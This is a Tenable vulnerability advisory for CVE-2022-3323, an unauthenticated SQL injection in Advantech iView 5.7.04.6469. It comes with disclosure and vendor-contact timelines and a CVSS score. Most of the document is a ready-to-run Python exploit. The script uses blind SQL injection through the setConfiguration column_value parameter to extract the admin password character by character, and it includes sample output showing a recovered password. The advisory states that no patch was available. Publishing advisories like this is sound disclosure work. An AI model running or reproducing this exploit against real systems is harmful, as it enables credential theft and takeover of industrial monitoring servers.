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Advantech iView ConfigurationServlet setConfiguration SQL Injection

Critical

Synopsis

An SQL injection vulnerability in Advantech iView 5.7.04.6469. 

The specific flaw exists within the ConfigurationServlet endpoint, which listens on TCP port 8080 by default. An unauthenticated remote attacker can craft a special column_value parameter in the setConfiguration action to bypass checks in com.imc.iview.utils.CUtils.checkSQLInjection() to perform SQL injection. For example, the attacker can exploit the vulnerability to retrieve the iView admin password.

Proof of Concept Script:

import sys, argparse, requests


descr = 'Advantech iView setConfiguration SQL Injection (User Password Retrieval)'

parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='Target host/IP')
parser.add_argument('-p', '--port', type=int, default=8080, help='Advantech iView port, default: %(default)s')
parser.add_argument('-u', '--user', default='admin', help='Advantech iView user whose password to retrieve, default: %(default)s')

args = parser.parse_args()
host = args.target
port = args.port
user = args.user

url = 'http://{}:{}/iView3/ConfigurationServlet'.format(host, port)

def get_passwd_len():

  for i in range(3, 61):
    sqli = "(SELECT IF(LENGTH((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "')) = " + str(i) + ",0,99999999999999999))"

    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription', 
      'column_value'      : sqli 
    }
    
    r = requests.post(url, data=data)
    if 'Configuration Update Success' in r.text:
      return i

  return -1 
  

def test(pos, op, v):
    sqli = "(SELECT IF(ASCII(SUBSTRING((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "'), " + str(pos) + ", 1)) " + op + " " + str(v) + ",0,99999999999999999))"

    data = {
      'page_action_type'  : 'setConfiguration',
      'column_name'       : 'nUseCustomDescription', 
      'column_value'      : sqli 
    }
      
    r = requests.post(url, data=data)
    #print(sqli)
    #print(r.text)
    if 'Configuration Update Success' in r.text:
      return True
    else:
      return False
 

def bsearch(pos, low, high):

  #print('{} - {}'.format(low, high))
  if high >= low:
    mid = (high + low) // 2
    
    if test(pos, '=', mid):
      return chr(mid)
    elif test(pos, '>', mid):
      return bsearch(pos, mid + 1, high)
    else:
      return bsearch(pos, low, mid - 1)
         
  else: 
    return None 
 

print('Getting password length for user "{}"...'.format(user)) 
pw_len = get_passwd_len()

if pw_len >= 3:
  print('Password length for user "{}" is {}'.format(user, pw_len)) 
else:
  sys.exit('Failed to get password length for user "{}"'.format(user)) 

print('Getting password for user "{}"...'.format(user)) 
print('Password for user "{}" is '.format(user), end='') 
for pos in range(1, pw_len + 1):   
  ch = bsearch(pos, 32, 127) 
  if ch != None:
    print(ch, end='') 
  else:
    print('Failed to get character at position {} of the password'.format(pos))

print() 

Proof of Concept Execution:

# python3 advantech_iview_setConfiguration_sqli.py -t <target-host> -p 8080 -u 'admin'
Getting password length for user "admin"...
Password length for user "admin" is 12
Getting password for user "admin"...
Password for user "admin" is Password123!

Solution

No solution is available at the time of this writing.

Disclosure Timeline

August 9, 2022 - Tenable requests security contact from vendor.
August 17, 2022 - Tenable requests security contact from vendor.
August 24, 2022 - Tenable makes final attempt to request security contact from vendor.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2022-3323
Tenable Advisory ID
TRA-2022-32
CVSSv3 Base / Temporal Score
9.8 / 8.9
CVSSv3 Vector
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products
Advantech iView 5.7.04.6469
Risk Factor
Critical

Advisory Timeline

September 26, 2022 - Initial release.
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